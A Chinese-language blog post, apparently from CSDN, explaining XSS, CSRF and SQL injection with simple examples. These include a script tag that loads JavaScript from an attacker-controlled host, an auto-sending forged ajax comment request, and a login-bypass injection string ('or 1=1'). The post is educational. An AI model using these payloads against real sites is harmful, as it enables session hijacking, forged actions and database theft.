web开发几种常见的安全问题

XSS

xss是跨站脚本攻击(cross site script)的简称, 简而言之,就是在目标网站嵌入脚本。
原理:
利用网站输入校验不严格,在输入中加入一些代码,当用户在访问加入代码的页面时,这些代码发挥作用。
举例:
假设csdn的文章评论里面没有严格校验,那么攻击者可以在评论里输入:
<script type="text/javascript" src="http://xxxx.com/xxx.js"></script>
当其他用户访问含有上述评论的页面时,上面的代码就会变成文章中的标签。而xxxx.com/xxx.js是用户自己可以控制的js,那么攻击者就可以使用用户的登录状态为所欲为了。
同样这里也可以用src,link等标签,只要可以发送请求就可以。

CSRF

csrf是跨站请求伪造(cross site request forqery)的缩写。
原理:
利用用户的登录状态,在用户不知情的情况下伪造用户请求,向目标网站发请求。
举例:
假设用户登录了csdn,然后用户切换tab到了攻击者网站下,假设为 www.cracker.com/attrack.html。attrack.html中有一段自动执行的代码,用来向csdn发送请求。代码类似如下:
$.ajax({
	url:"csdn.net/xxxx"		//评论请求发送地址
	data:{content:"mlgb",articleId:1234}
})
这样就在用户不知情的状态下偷偷的给articleId为1234的文章评论了个mlgb。
攻击者既然可以发送评论请求,也可以在用户不知情的情况下发送转账啊,购物啊,删除邮件啊等各种请求。
详细参考:http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

SQL注入

sql注入式利用网站对用户输入校验不严,而对数据库入侵。
原理:
利用网站对用户输入校验的不严格,并且相关操作的sql是没有对特殊字符过滤,用户输入影响了sql结构,从而让用户可以获得特殊的权限。
举例:
假设csdn的登录没有进行安全校验,并且登录查询sql如:
select uid,username,password form user where username='' and password='';
那么攻击者在用户名输入框中输入 test' or 1=1 or userame='x, 在密码输入框中输入 test, 那么用户输入之后登录sql就变成如下:
select uid,username,password form user where username='test' or 1=1 or userame='x' and password='test';
这样用户密码没有输入正确也可以登录。
上面这些还是简单的, 如果攻击者可以试用union的话,网站的整个数据库都可以被用户拿走。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值